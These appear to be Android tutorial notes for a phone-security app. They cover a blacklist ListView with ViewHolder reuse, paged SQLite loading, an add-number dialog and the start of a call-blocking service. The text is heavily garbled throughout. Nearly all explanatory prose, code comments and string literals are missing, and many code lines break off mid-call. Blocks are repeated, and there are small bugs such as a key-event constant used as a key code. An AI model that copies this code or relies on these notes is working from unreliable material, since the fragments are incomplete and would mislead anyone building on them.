this.findViewById(R.id.lv_callsmssafe_activity);

								lv_callsmssafe.setAdapter(new	MyListViewAdapter());

				}

				/**

					*	1

					*	@param	view

					*/

				public	void	add_blacklist(View	view){

				}

				/**

					*	2ListViewAdapter

					*	@author	hacket

					*/

				private	class	MyListViewAdapter	extends	BaseAdapter	{

	

								@Override

								public	int	getCount()	{

												if	(numberInfos!=null)	{

																return	numberInfos.size();

												}

												return	0;

								}

	

								@Override

								public	View	getView(int	position,	View	convertView,	ViewGroup

parent)	{

	

												//	1xmlview

												View	view	=	View.inflate(getApplicationContext(),

R.layout.listview_callsms_activity_item,	null);

	

												//	2view

												TextView	tv_number	=	(TextView)

view.findViewById(R.id.tv_listitem_blacknumber);

												TextView	tv_mode	=	(TextView)

view.findViewById(R.id.tv_listitem_blackmode);

	

												//	3BlackNumberInfo

												BlackNumberInfo	blackNumberInfo	=	numberInfos.get(position);

	

												//	4

												tv_number.setText(blackNumberInfo.getNumber());

												String	mode	=	blackNumberInfo.getMode();

												if	("1".equals(mode))	{

																mode	=	"" ;

												}	else	if	("2".equals(mode))	{

																mode	=	"" ;

												}	else	if	("3".equals(mode))	{

																mode	=	"(+)" ;



												}

												tv_mode.setText(mode);

	

												//	5view

												return	view;

								}

	

								@Override

								public	Object	getItem(int	position)	{

												return	null;

								}

								@Override

								public	long	getItemId(int	position)	{

												return	0;

								}

				}

}





1 View	view	=	View.inflate(getApplicationContext(),	R.layout.listview_callsms_activity_item
xmlview
1xml
2xmlpull
3xml
ListView
	 public	View	getView(int	position,	View	convertView,	ViewGroup	parent){}
dalvikvm

getViewView	convertViewview
convertView	The	old	view	to	reuse,	if	possible.	Note:	You	should	check	that	this	view
is	non-null	and	of	an	appropriate	type	before	using.	If	it	is	not	possible	to	convert	this
view	to	display	the	correct	data,	this	method	can	create	a	new	view.	Heterogeneous	lists
can	specify	their	number	of	view	types,	so	that	this	View	is	always	of	the	right	type	(see
getViewTypeCount()	and	getItemViewType(int)).
view
1viewnullnull
2viewinstanceof
3

@Override
public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
				
				//	1 xmlview
				//view
				View	view	=	null;
				if	(convertView!=null	&&	convertView	instanceof	RelativeLayout)	{//a)	nullview
								view	=	convertView;
								Log.i(TAG,	"view" 	+	position);
				}else	{	//b)	
								view	=	View.inflate(getApplicationContext(),	R.layout.listview_callsms_activity_item
								Log.i(TAG,	"view" 	+	position);
				}
				
				//	2view
				TextView	tv_number	=	(TextView)	view.findViewById(R.id.tv_listitem_blacknumber);
				TextView	tv_mode	=	(TextView)	view.findViewById(R.id.tv_listitem_blackmode);
				
				//	3BlackNumberInfo

eclipse-javadoc:%E2%98%82=Mobilesafe%20v4.0/D:%5C/07_Tools%5C/adt-bundle-windows-x86_64-20130917%5C/sdk%5C/platforms%5C/android-16%5C/android.jar%3Candroid.widget(Adapter.class%E2%98%83Adapter~getView~I~Landroid.view.View;~Landroid.view.ViewGroup;%E2%98%82%E2%98%82getViewTypeCount%E2%98%82
eclipse-javadoc:%E2%98%82=Mobilesafe%20v4.0/D:%5C/07_Tools%5C/adt-bundle-windows-x86_64-20130917%5C/sdk%5C/platforms%5C/android-16%5C/android.jar%3Candroid.widget(Adapter.class%E2%98%83Adapter~getView~I~Landroid.view.View;~Landroid.view.ViewGroup;%E2%98%82%E2%98%82getItemViewType%E2%98%82int


				BlackNumberInfo	blackNumberInfo	=	numberInfos.get(position);
				
				//	4
				tv_number.setText(blackNumberInfo.getNumber());
				String	mode	=	blackNumberInfo.getMode();
				if	("1".equals(mode))	{
								mode	=	"" ;
				}	else	if	("2".equals(mode))	{
								mode	=	"" ;
				}	else	if	("3".equals(mode))	{
								mode	=	"(+)" ;
				}
				tv_mode.setText(mode);
				//	5view
				return	view;
}

2
TextView	tv_number	=	(TextView)	view.findViewById(R.id.tv_listitem_blacknumber);



TextView	tv_mode	=	(TextView)	view.findViewById(R.id.tv_listitem_blackmode);

1ViewHolder
/**
	*	3TextViewstatic
	*	@author	hacket
	*/
private	static	class	ViewHolder	{
				TextView	tv_number;//	
				TextView	tv_mode;//	
}

2ViewViewHolderid
//	ba)viewnew viewholder		
viewHolder	=	new	ViewHolder();
viewHolder.tv_number	=	(TextView)	view.findViewById(R.id.tv_listitem_blacknumber);
viewHolder.tv_mode	=	(TextView)	view.findViewById(R.id.tv_listitem_blackmode);
//	bb)	viewviewholder
view.setTag(viewHolder);	
//A	tag	can	be	used	to	mark	a	view	in	its	hierarchy	and	does	not	have	to	be	unique	within	the	hierarchy.

3)	viewtagViewHolder
viewHolder	=	(ViewHolder)	view.getTag();//	viewtag viewholderfind

/**
	*	2ListViewAdapter
	*	@author	hacket
	*/
private	class	CallSmsSafeAdapter	extends	BaseAdapter	{
				private	static	final	String	TAG	=	"CallSmsSafeActivity";
				@Override
				public	int	getCount()	{
								if	(numberInfos!=null)	{
												return	numberInfos.size();
								}
								return	0;
				}
				@Override
				public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
								
								//	1 xmlview
								//view



								View	view	=	null;
								ViewHolder	viewHolder	=	null;
								if	(convertView!=null	&&	convertView	instanceof	RelativeLayout)	{
								//a)	nullview
												Log.i(TAG,	"view" 	+	position);
												view	=	convertView;
												
												//	viewtagViewHolder
												viewHolder	=	(ViewHolder)	view.getTag();
											//	viewtag viewholderfind
								}	else	{	//	b)	view
												Log.i(TAG,	"view" 	+	position);
												view	=	View.inflate(getApplicationContext(),	R.layout.listview_callsms_activity_item
												//	ba)viewnew viewholder
												viewHolder	=	new	ViewHolder();
												viewHolder.tv_number	=	(TextView)	view.findViewById(R.id.tv_listitem_blacknumber
												viewHolder.tv_mode	=	(TextView)	view.findViewById(R.id.tv_listitem_blackmode
												//	bb)	viewviewholder
												view.setTag(viewHolder);	
											
//A	tag	can	be	used	to	mark	a	view	in	its	hierarchy	and	does	not	have	to	be	unique	within	the	hierarchy
								}
								
								//	2view,
								//TextView	tv_number	=	(TextView)	view.findViewById(R.id.tv_listitem_blacknumber);
								//TextView	tv_mode	=	(TextView)	view.findViewById(R.id.tv_listitem_blackmode);
								
								//	3BlackNumberInfo
								BlackNumberInfo	blackNumberInfo	=	numberInfos.get(position);
								
								//	4
								viewHolder.tv_number.setText(blackNumberInfo.getNumber());
								String	mode	=	blackNumberInfo.getMode();
								if	("1".equals(mode))	{
												mode	=	"" ;
								}	else	if	("2".equals(mode))	{
												mode	=	"" ;
								}	else	if	("3".equals(mode))	{
												mode	=	"(+)" ;
								}
								viewHolder.tv_mode.setText(mode);
								//	5view



								return	view;
				}
				@Override
				public	Object	getItem(int	position)	{
								return	null;
				}
				@Override
				public	long	getItemId(int	position)	{
								return	0;
				}
}

3ListView android:fastScrollEnabled="true"
<ListView
				android:fastScrollEnabled="true"



				android:id="@+id/lv_callsmssafe_activity"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>
</ListView>

ListView
1 View	convertViewview
a)	
b)	
2ViewHolderid
3ListView android:fastScrollEnabled="true"false



Toast&&()&&&ExpandableListView&&

1Toast view()
a)		onmesure()
b)		layout()
LayoutParams
2

falseconsume

3
Android	version
ctrl+hstrings.xml
4

a)	
b)	params		flags
params.type	=	WindowManager.LayoutParams.TYPE_PRIORITY_PHONE
c)	
5
		handler+message
6
a)	
b)	()
	intent.putExtra("duplicate",	false);
7ListView-ExpandableListView
ListView
a)		View-convertView
b)		ViewHolder
8
a)	
b)	
9

10-
SQLOpenHelper
SQLiteDatabase



11—— ListView
1)		convertView
a)	
b)	
2)	ViewHolderidview
a)	viewtagview.setTag(viewHolder);
b)	viewtag
ViewHolder	viewHolder	=	view.getTag();
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ListView

1sqlite
select	*	from	table	limit	?	offset	?;
limit:
offset:
2	 onScrollStateChanged()

int	lastVisiblePosition	=	view.getLastVisiblePosition();//	item0
3
count	=	cursor.getCount();
4
//	
callSmsSafeAdapter.notifyDataSetChanged();

package	cn.zengfansheng.mobilesafe;
	
import	java.util.List;
	
import	android.annotation.SuppressLint;
import	android.app.Activity;
import	android.os.Bundle;
import	android.os.Handler;
import	android.os.Message;
import	android.util.Log;
import	android.view.KeyEvent;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.AbsListView;
import	android.widget.AbsListView.OnScrollListener;
import	android.widget.BaseAdapter;
import	android.widget.LinearLayout;
import	android.widget.ListView;
import	android.widget.ProgressBar;
import	android.widget.RelativeLayout;
import	android.widget.TextView;
import	cn.zengfansheng.mobilesafe.db.dao.BlackNumberDao;
import	cn.zengfansheng.mobilesafe.domain.BlackNumberInfo;
import	cn.zengfansheng.mobilesafe.utils.ToastUtils;
	
/**



*	15Activity
*	@author	hacket
*/
public	class	CallSmsSafeActivity	extends	Activity	{
	
	
				private	ListView	lv_callsmssafe;//	listviewadapter
				private	BlackNumberDao	blackNumberDao;//	dao
				private	List<BlackNumberInfo>	blackNumberInfos;//	List
	
				private	LinearLayout	ll_blacknumber;//	linearlayout
				//	private	ProgressBar	pb_blacknumber;//	progressbar
	
				protected	static	final	int	limit	=	20;//	limit
				protected	static	int	offset	=	0;//	
				protected	static	final	String	TAG	=	"CallSmsSafeActivity";
	
				private	CallSmsSafeAdapter	callSmsSafeAdapter;//	
	
				private	int	count;//	
	
				private	boolean	isLoadingData;//	true
	
				@SuppressLint("HandlerLeak")
				private	Handler	handler	=	new	Handler()	{//	
	
								@Override
								public	void	handleMessage(Message	msg)	{
												ll_blacknumber.setVisibility(ProgressBar.INVISIBLE);//	ll_blacknumberpb
textview
	
												if	(callSmsSafeAdapter	==	null)	{
																callSmsSafeAdapter	=	new	CallSmsSafeAdapter();
																lv_callsmssafe.setAdapter(callSmsSafeAdapter);//	UI
												}	else	{
																//	
																callSmsSafeAdapter.notifyDataSetChanged();
												}
												isLoadingData	=	false;//	false
								}
				};
	



				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
	
								this.setContentView(R.layout.activity_callsms_safe);
	
								blackNumberDao	=	new	BlackNumberDao(this);
								lv_callsmssafe	=	(ListView)	this.findViewById(R.id.lv_callsmssafe_activity);
	
								ll_blacknumber	=	(LinearLayout)	this.findViewById(R.id.ll_blacknumber);
								//pb_blacknumber	=	(ProgressBar)	this.findViewById(R.id.pb_blacknumber);
	
								count	=	blackNumberDao.getMaxBlackNumber();//	
	
								//	a
								fillBlackNameListView();
	
								//	bListView
								lv_callsmssafe.setOnScrollListener(new	OnScrollListener()	{
	
												//	b-1)
												@Override
												public	void	onScrollStateChanged(AbsListView	view,	int	scrollState)	{
																Log.i(TAG,	"~~~" );
	
																switch	(scrollState)	{
																case	OnScrollListener.SCROLL_STATE_IDLE://	a)	listview
																				Log.i(TAG,	"" 	+	"idle");
	
																				int	lastVisiblePosition	=	view.getLastVisiblePosition();//	item0
																				int	size	=	blackNumberInfos.size();//	1
																				if	(lastVisiblePosition	==	(size	-	1))	{
																								Log.i(TAG,	"~~~~~~" );
																								if	(isLoadingData)	{
																												ToastUtils.showToastInThread(CallSmsSafeActivity.this,	"~~~" );
																												return;
																								}
																								offset	+=	limit;
																								if	(offset	>	count)	{
																												ToastUtils.showToastInThread(CallSmsSafeActivity.this,	"~~~" );
																												return;
																								}



																								fillBlackNameListView();//	listview
																				}
	
																				break;
	
																case	OnScrollListener.SCROLL_STATE_TOUCH_SCROLL://	b)	
																				Log.i(TAG,	"" 	+	"touch	scroll");
	
																				break;
																case	OnScrollListener.SCROLL_STATE_FLING://	c)	
																				Log.i(TAG,	"" 	+	"fling");
	
																				break;
																}
												}
	
												//	b-2)
												@Override
												public	void	onScroll(AbsListView	view,	int	firstVisibleItem,
																				int	visibleItemCount,	int	totalItemCount)	{
																Log.i(TAG,	"~~~" );
												}
								});
	
				}
	
				/**
					*	4ListView
					*/
				private	void	fillBlackNameListView()	{
								ll_blacknumber.setVisibility(ProgressBar.VISIBLE);//	pb~~
								new	Thread()	{
												@Override
												public	void	run()	{
	
																isLoadingData	=	true;//	
	
																//	numberInfos	=	blackNumberDao.getBlackNumberInfos();
																//	lv_callsmssafe.setAdapter(new	CallSmsSafeAdapter());
																//	getBlackNumberInfos()33setAdapter()UI
	
																if	(blackNumberInfos==null)	{//a)null,



																				blackNumberInfos	=	blackNumberDao.getPartBlackNumberInfos(limit,	offset);
																}	else	{//	b)null,
																				blackNumberInfos.addAll(blackNumberDao.getPartBlackNumberInfos(limit,
offset));
																}
																handler.sendEmptyMessage(0);//	
												}
								}.start();
				}
	
				/**
					*	1
					*	@param	view
					*/
				public	void	add_blacklist(View	view){
	
				}
	
				/**
					*	2ListViewAdapter
					*	@author	hacket
					*/
				private	class	CallSmsSafeAdapter	extends	BaseAdapter	{
	
								//	private	static	final	String	TAG	=	"CallSmsSafeActivity";
	
								@Override
								public	int	getCount()	{
												if	(blackNumberInfos	!=	null)	{
																return	blackNumberInfos.size();
												}
												return	0;
								}
	
								@Override
								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
	
												//	1xmlview
	
												//view
												View	view	=	null;
												ViewHolder	viewHolder	=	null;



												if	(convertView!=null	&&	convertView	instanceof	RelativeLayout)	{//a)	null
view
	
																//	Log.i(TAG,	"view"	+	position);
																view	=	convertView;
	
																//	viewtagViewHolder
																viewHolder	=	(ViewHolder)	view.getTag();//	viewtagviewholderfind
	
												}	else	{	//	b)	view
																//	Log.i(TAG,	"view"	+	position);
																view	=	View.inflate(getApplicationContext(),
R.layout.listview_callsms_activity_item,	null);
	
																//	ba)viewnewviewholder
																viewHolder	=	new	ViewHolder();
																viewHolder.tv_number	=	(TextView)
view.findViewById(R.id.tv_listitem_blacknumber);
																viewHolder.tv_mode	=	(TextView)
view.findViewById(R.id.tv_listitem_blackmode);
																//	bb)	viewviewholder
																view.setTag(viewHolder);	//A	tag	can	be	used	to	mark	a	view	in	its	hierarchy	and
does	not	have	to	be	unique	within	the	hierarchy
												}
	
												//	2view,
												//TextView	tv_number	=	(TextView)
view.findViewById(R.id.tv_listitem_blacknumber);
												//TextView	tv_mode	=	(TextView)	view.findViewById(R.id.tv_listitem_blackmode);
	
												//	3BlackNumberInfo
												BlackNumberInfo	blackNumberInfo	=	blackNumberInfos.get(position);
	
												//	4
												viewHolder.tv_number.setText(blackNumberInfo.getNumber());
												String	mode	=	blackNumberInfo.getMode();
												if	("1".equals(mode))	{
																mode	=	"" ;
												}	else	if	("2".equals(mode))	{
																mode	=	"" ;
												}	else	if	("3".equals(mode))	{
																mode	=	"(+)" ;



												}
												viewHolder.tv_mode.setText(mode);
	
												//	5view
												return	view;
								}
								@Override
								public	Object	getItem(int	position)	{
												return	null;
								}
								@Override
								public	long	getItemId(int	position)	{
												return	0;
								}
				}
	
				/**
					*	3TextViewstatic
					*	@author	hacket
					*/
				private	static	class	ViewHolder	{
	
								TextView	tv_number;//	
								TextView	tv_mode;//	
				}
	
				//	5ListView
				@Override
				public	boolean	onKeyDown(int	keyCode,	KeyEvent	event)	{
	
								switch	(keyCode)	{
								case	KeyEvent.KEYCODE_VOLUME_UP://	+
	
												break;
								case	KeyEvent.ACTION_DOWN://	-
	
												break;
								}
								return	super.onKeyDown(keyCode,	event);
				}
	
}



13
: getBlackNumberInfos()33 setAdapter()UI 		
numberInfos	=	blackNumberDao.getBlackNumberInfos();
lv_callsmssafe.setAdapter(new	CallSmsSafeAdapter());
1
new	Thread()	{
				@Override
				public	void	run()	{
								numberInfos	=	blackNumberDao.getBlackNumberInfos();
								lv_callsmssafe.setAdapter(new	CallSmsSafeAdapter());
								getBlackNumberInfos()33.
								setAdapter()UI
				}
}.start();		
2UI
11-10	16:27:51.460:	E/AndroidRuntime(645):
android.view.ViewRootImpl$CalledFromWrongThreadException:	Only	the	original	thread	that
created	a	view	hierarchy	can	touch	its	views.

	
2UI
private	Handler	handler	=	new	Handler()	{//	
				@Override
				public	void	handleMessage(Message	msg)	{
								lv_callsmssafe.setAdapter(new	CallSmsSafeAdapter());//	UI
				}
};		
handler.sendEmptyMessage(0);	//
333

select	*	from	table	limit	?	offset	?;



420
item 	offset	+=	limit;
//	bListView
lv_callsmssafe.setOnScrollListener(new	OnScrollListener()	{
				//	b-1)
@Override
public	void	onScrollStateChanged(AbsListView	view,	int	scrollState)	{
				Log.i(TAG,	"~~~" );
				switch	(scrollState)	{
				case	OnScrollListener.SCROLL_STATE_IDLE://	a)	listview
								Log.i(TAG,	"" 	+	"idle");
								int	lastVisiblePosition	=	view.getLastVisiblePosition();//	item0
								int	size	=	blackNumberInfos.size();//	1
								if	(lastVisiblePosition	==	(size	-	1))	{
												Log.i(TAG,	"~~~~~~" );
												offset	+=	limit;
												fillBlackNameListView();//	 listview
								}
								break;
				case	OnScrollListener.SCROLL_STATE_TOUCH_SCROLL://	b)	
								Log.i(TAG,	"" 	+	"touch	scroll");
								break;
				case	OnScrollListener.SCROLL_STATE_FLING://	c)	
								Log.i(TAG,	"" 	+	"fling");
								break;
				}
}
5
nullnull,
addAll()
/**
	*	4ListView
	*/
private	void	fillBlackNameListView()	{
				new	Thread()	{
								@Override
								public	void	run()	{
											
												if	(blackNumberInfos==null)	{//a)null,
																blackNumberInfos	=	blackNumberDao.getPartBlackNumberInfos(limit,	offset);
												}	else	{//	b)null,
																blackNumberInfos.addAll(blackNumberDao.getPartBlackNumberInfos(limit,	offset



												}
												handler.sendEmptyMessage(0);//	
								}
				}.start();
}

6
new
@SuppressLint("HandlerLeak")
private	Handler	handler	=	new	Handler()	{//	
				@Override
				public	void	handleMessage(Message	msg)	{
								lv_callsmssafe.setAdapter(new	CallSmsSafeAdapter());//	UI
								ll_blacknumber.setVisibility(ProgressBar.INVISIBLE);//	ll_blacknumber pbtextview
				}
};

callSmsSafeAdapter.notifyDataSetChanged();
@SuppressLint("HandlerLeak")
private	Handler	handler	=	new	Handler()	{//	
				@Override
				public	void	handleMessage(Message	msg)	{
								ll_blacknumber.setVisibility(ProgressBar.INVISIBLE);//	ll_blacknumber pbtextview
								if	(callSmsSafeAdapter	==	null)	{
												callSmsSafeAdapter	=	new	CallSmsSafeAdapter();
												lv_callsmssafe.setAdapter(callSmsSafeAdapter);//	UI
								}	else	{
												//	
												callSmsSafeAdapter.notifyDataSetChanged();
								}
				}
};		
7
//	bListView
lv_callsmssafe.setOnScrollListener(new	OnScrollListener()	{
				//	b-1)
@Override
public	void	onScrollStateChanged(AbsListView	view,	int	scrollState)	{
				Log.i(TAG,	"~~~" );
				switch	(scrollState)	{
				case	OnScrollListener.SCROLL_STATE_IDLE://	a)	listview
								Log.i(TAG,	"" 	+	"idle");
								int	lastVisiblePosition	=	view.getLastVisiblePosition();//	item0
								int	size	=	blackNumberInfos.size();//	1



								if	(lastVisiblePosition	==	(size	-	1))	{
												Log.i(TAG,	"~~~~~~" );
												offset	+=	limit;
												if	(offset	>	count)	{
																ToastUtils.showToastInThread(CallSmsSafeActivity.this,	"~~~" );
																return;
												}
												fillBlackNameListView();//	 listview
								}
								break;
				case	OnScrollListener.SCROLL_STATE_TOUCH_SCROLL://	b)	
								Log.i(TAG,	"" 	+	"touch	scroll");
								break;
				case	OnScrollListener.SCROLL_STATE_FLING://	c)	
								Log.i(TAG,	"" 	+	"fling");
								break;
				}
}
Bug8
boolean
true 	case	OnScrollListener.SCROLL_STATE_IDLE:true
UIfalse

9ListViewHtc
lv_callsmssafe.setOnScrollListener(new	OnScrollListener()	{}
Activity onKeyDown()
//	5ListView
@Override
public	boolean	onKeyDown(int	keyCode,	KeyEvent	event)	{
				switch	(keyCode)	{
				case	KeyEvent.KEYCODE_VOLUME_UP://	+
								break;
				case	KeyEvent.ACTION_DOWN://	-
								break;
				}
				return	super.onKeyDown(keyCode,	event);
}



ListView

1
2Activity
3ListView
4
5
6

package	cn.zengfansheng.listviewprenext;
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.LayoutInflater;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.BaseAdapter;
import	android.widget.Button;
import	android.widget.ListView;
import	android.widget.TextView;

public	class	TestListView	extends	Activity	{

				private	ListView	lv;//	listview
				private	Button	bt_start;//
				private	Button	bt_pre;//
				private	Button	bt_next;//
				private	Button	bt_end;//

				private	TextView	tv_list_pageindex;//	/
				private	static	final	int	PAGESIZE	=	20;//	5
				private	int	pageIndex	=	0;//	0
				private	MyAdapter	ma;//	

				//	listview
				private	String[]	data	=	{	"0",	"1",	"2",	"3",	"4",	"5",	"6",	"7",	"8",	"9",	"10",
												"11",	"12",	"13",	"14",	"15",	"16",	"17",	"18",	"19",	"20",	"21",
												"22",	"23",	"24",	"25",	"26",	"27",	"28",	"29",	"30",	"31",	"32",
												"33",	"34",	"35",	"36",	"37",	"38",	"39",	"40",	"41",	"42",	"43",
												"44",	"45",	"46",	"47",	"48",	"49",	"50",	"51",	"52",	"53",	"54",
												"55",	"56",	"57",	"58",	"59",	"60",	"61",	"62",	"64",	"64",	"65",
												"66",	"67",	"68",	"69",	"70",	"71",	"72",	"73",	"74",	"75",	"76",



												"77",	"78",	"79",	"80",	"81",	"82",	"83",	"84",	"85",	"86",	"87",
												"88",	"89",	"90",	"91",	"92",	"93",	"94",	"95",	"96",	"97",	"98",
												"99",	"100"	};
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_testlistview);
								//	1	View
								initView();
								//	2
								ma	=	new	MyAdapter();
								lv.setAdapter(ma);
								
								//	3
								MyOnClickListener	myListener	=	new	MyOnClickListener();
								bt_start.setOnClickListener(myListener);
								bt_pre.setOnClickListener(myListener);
								bt_next.setOnClickListener(myListener);
								bt_end.setOnClickListener(myListener);
								
								//	4Button
								checkButton();
				}
				/**
					*	6
					*	
					*	@return	
					*/
				public	int	getPageCount(){
								int	totalPage	=	0;
								if	(data.length%PAGESIZE==0)	{
												totalPage	=	data.length	/	PAGESIZE;
								}else	{
												totalPage	=	data.length/PAGESIZE+1;
								}
								return	totalPage;
				}
				/**
					*	5-4
					*/
				private	void	goEndPage()	{
								//	1



								int	totalPage	=	getPageCount();
								pageIndex	=	totalPage	-	1;//	01
								ma.notifyDataSetChanged();
								checkButton();
				}
				/**
					*	5-3
					*/
				private	void	goNextPage()	{//	1.
								pageIndex++;
								ma.notifyDataSetChanged();
								checkButton();
				}
				/**
					*	5-2
					*/
				private	void	goPrePage()	{//	1.
								pageIndex--;
								ma.notifyDataSetChanged();
								checkButton();
				}
				/**
					*	5-1
					*/
				private	void	goStartPage()	{
								pageIndex	=	0;
								//	ListView
								ma.notifyDataSetChanged();
								//	Button
								checkButton();
				}
				
				/**
					*	4
					*/
				public	void	checkButton()	{
								//	4-10
								if	(pageIndex	<=	0)	{//	0	
												bt_start.setEnabled(false);
												bt_pre.setEnabled(false);
												bt_end.setEnabled(true);
												bt_next.setEnabled(true);



								}	else	if	(data.length	-	pageIndex	*	PAGESIZE	<	PAGESIZE)	{
									//	View_Count
												bt_start.setEnabled(true);
												bt_end.setEnabled(false);
												bt_next.setEnabled(false);
												bt_pre.setEnabled(true);
								}	else	{//	2
												bt_start.setEnabled(true);
												bt_end.setEnabled(true);
												bt_pre.setEnabled(true);
												bt_next.setEnabled(true);
								}
				}
				/**
					*	3
					*	
					*	@author	hacket
					*/
				private	class	MyOnClickListener	implements	Button.OnClickListener	{
								@Override
								public	void	onClick(View	v)	{
												switch	(v.getId())	{
												case	R.id.bt_start://	
																goStartPage();
																break;
												case	R.id.bt_pre://	
																goPrePage();
																break;
												case	R.id.bt_next://	
																goNextPage();
																break;
												case	R.id.bt_end://	
																goEndPage();
																break;
												}
								}
				}
				/**
					*	2ListViewAdapter
					*	
					*	@author	hacket
					*/



				private	class	MyAdapter	extends	BaseAdapter	{
								//	PAGESIZE
								@Override
								public	int	getCount()	{
												//	
												int	prePageCount	=	PAGESIZE	*	pageIndex;
												//	1-PAGESIZE
												if	(data.length-prePageCount	<	PAGESIZE)	{
																return	data.length-prePageCount;
												}	else	{//	
																return	PAGESIZE;
												}
								}
								@Override
								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
												LayoutInflater	inflater	=	(LayoutInflater)	getSystemService(LAYOUT_INFLATER_SERVICE
												View	view	=	inflater.inflate(R.layout.list_item_tv,	null);
												TextView	tv	=	(TextView)	view.findViewById(R.id.tv_item_listview);
												//	TextView+
												tv.setText(data[position	+	PAGESIZE	*	pageIndex]);
												//	return	tv;//
												tv_list_pageindex.setText((pageIndex	+	1)	+	"/"	+	getPageCount());
												return	view;
								}
								@Override
								public	Object	getItem(int	position)	{
												return	position;
								}
								@Override
								public	long	getItemId(int	position)	{
												return	position;
								}
				}
				/**
					*	1View
					*/
				private	void	initView()	{
								lv	=	(ListView)	this.findViewById(R.id.lv);
								bt_start	=	(Button)	this.findViewById(R.id.bt_start);
								bt_pre	=	(Button)	this.findViewById(R.id.bt_pre);
								bt_next	=	(Button)	this.findViewById(R.id.bt_next);
								bt_end	=	(Button)	this.findViewById(R.id.bt_end);



								tv_list_pageindex	=	(TextView)	this.findViewById(R.id.tv_list_pageindex);
				}
}

wiz:open_attachment?guid=2e16015a-777d-4ef3-8f98-9c0c3415b535


1alertDialog.dismiss()alertDialog.cancel()
cancel() OnCancelListener()
Cancel	the	dialog.	This	is	essentially	the	same	as	calling	dismiss(),	but	it	will	also	call
your	DialogInterface.OnCancelListener	(if	registered).
2Android

3
/**
	*	1
	*	@param	view
	*/
public	void	add_blacklist(View	view){
				
				AlertDialog.Builder	builder	=	new	Builder(this);
				
				View	myView	=	View.inflate(this,	R.layout.dialog_add_blacknumber_callsmssafe,	null
				Button	bt_ok	=	(Button)	myView.findViewById(R.id.bt_callsmssafe_ok);
				Button	bt_cancel	=	(Button)	myView.findViewById(R.id.bt_callsmssafe_cancel);
				final	EditText	et_number	=	(EditText)	myView.findViewById(R.id.et_blacknumber);

eclipse-javadoc:%E2%98%82=Mobilesafe%20v5.0/D:%5C/07_Tools%5C/adt-bundle-windows-x86_64-20130917%5C/sdk%5C/platforms%5C/android-16%5C/android.jar%3Candroid.app(Dialog.class%E2%98%83Dialog~cancel%E2%98%82DialogInterface.OnCancelListener
eclipse-javadoc:%E2%98%82=Mobilesafe%20v5.0/D:%5C/07_Tools%5C/adt-bundle-windows-x86_64-20130917%5C/sdk%5C/platforms%5C/android-16%5C/android.jar%3Candroid.app(Dialog.class%E2%98%83Dialog~cancel%E2%98%82%E2%98%82dismiss%E2%98%82
eclipse-javadoc:%E2%98%82=Mobilesafe%20v5.0/D:%5C/07_Tools%5C/adt-bundle-windows-x86_64-20130917%5C/sdk%5C/platforms%5C/android-16%5C/android.jar%3Candroid.app(Dialog.class%E2%98%83Dialog~cancel%E2%98%82DialogInterface.OnCancelListener


				final	RadioGroup	rg_mode	=	(RadioGroup)	myView.findViewById(R.id.rg_blacknumber_mode
				final	AlertDialog	alertDialog	=	builder.create();
				alertDialog.setView(myView,	0,	0,	0,	0);
				//	
				bt_ok.setOnClickListener(new	View.OnClickListener()	{
								
								@Override
								public	void	onClick(View	v)	{
												Log.i(TAG,	"~~~" );
												String	blacknumber	=	et_number.getText().toString().trim();
												if	(TextUtils.isEmpty(blacknumber))	{//	null
																ToastUtils.showToastInThread(CallSmsSafeActivity.this,	"null~~~" );
																return;
												}
												if	(blackNumberDao.find(blacknumber))	{//	
																ToastUtils.showToastInThread(CallSmsSafeActivity.this,	"~~~" );
																return;
												}
												
												int	checkedRadioButtonId	=	rg_mode.getCheckedRadioButtonId();
												String	blacknumber_mode	=	"3";//	
												switch	(checkedRadioButtonId)	{
												case	R.id.rb_phone://	2
																blacknumber_mode	=	"2";
																break;
												case	R.id.rb_sms://	1
																blacknumber_mode	=	"1";
																break;
												case	R.id.rb_all://	3
																blacknumber_mode	=	"3";
																break;
												}
												blackNumberDao.add(blacknumber,	blacknumber_mode);//
												blackNumberInfos.add(0,	new	BlackNumberInfo(0,blacknumber,blacknumber_mode));
												callSmsSafeAdapter.notifyDataSetChanged();//	 listview
												alertDialog.dismiss();
								}
				});
				//	
				bt_cancel.setOnClickListener(new	View.OnClickListener()	{
								@Override
								public	void	onClick(View	v)	{



												alertDialog.dismiss();
								}
				});
				alertDialog.show();
}
4
//	6
viewHolder.iv_image.setOnClickListener(new	OnClickListener()	{
				@Override
				public	void	onClick(View	v)	{
								Log.i(TAG,	"" 	+	blackNumberInfo.getNumber());
								blackNumberDao.delete(blackNumberInfo.getNumber());//	item
								blackNumberInfos.remove(position);//	
								callSmsSafeAdapter.notifyDataSetChanged();//	
								//	FIXME	:
				}
});



	 CallSmsSafeService		
1	TelephonyManager
2
3
4
CallSmsSafeService.java
package	cn.zengfansheng.mobilesafe.service;
import	java.lang.reflect.Method;
import	android.app.Service;
import	android.content.Context;
import	android.content.Intent;
import	android.os.IBinder;
import	android.telephony.PhoneStateListener;
import	android.telephony.TelephonyManager;
import	android.text.TextUtils;
import	android.util.Log;
import	cn.zengfansheng.mobilesafe.db.dao.BlackNumberDao;
import	com.android.internal.telephony.ITelephony;
/**
	*	3
	*	@author	hacket
	*/
public	class	CallSmsSafeService	extends	Service	{
				private	TelephonyManager	tm;//	
				private	PhoneStateListener	listener;//	
				private	BlackNumberDao	blackNumberDao;//	 dao
				@Override
				public	IBinder	onBind(Intent	intent)	{
								return	null;
				}
				//	1
				@Override
				public	void	onCreate()	{
								super.onCreate();
								blackNumberDao	=	new	BlackNumberDao(getApplicationContext());
								//	
								tm	=	(TelephonyManager)	getSystemService(Context.TELEPHONY_SERVICE);
								listener	=	new	MyPhoneStateListener();
								tm.listen(listener,	PhoneStateListener.LISTEN_CALL_STATE);



				}
				//	2
				@Override
				public	void	onDestroy()	{
								super.onDestroy();
								tm.listen(listener,	PhoneStateListener.LISTEN_NONE);
								listener	=	null;
				}
				
				private	class	MyPhoneStateListener	extends	PhoneStateListener	{
